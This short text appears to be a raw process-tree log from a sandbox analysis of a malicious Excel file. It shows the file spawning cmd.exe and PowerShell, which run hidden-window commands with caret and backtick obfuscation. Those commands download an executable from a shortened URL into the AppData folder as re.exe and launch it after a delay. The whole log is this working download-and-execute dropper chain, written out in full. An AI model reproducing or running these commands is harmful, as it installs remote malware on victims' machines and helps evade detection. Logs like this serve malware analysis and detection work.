EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\9e227b07643afd3444c4d30f0c47c3cf.xls
1016cmd.exe cmd /c po^wer^shell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
2236powershell.exe powershell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
2932powershell.exe powershell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
2856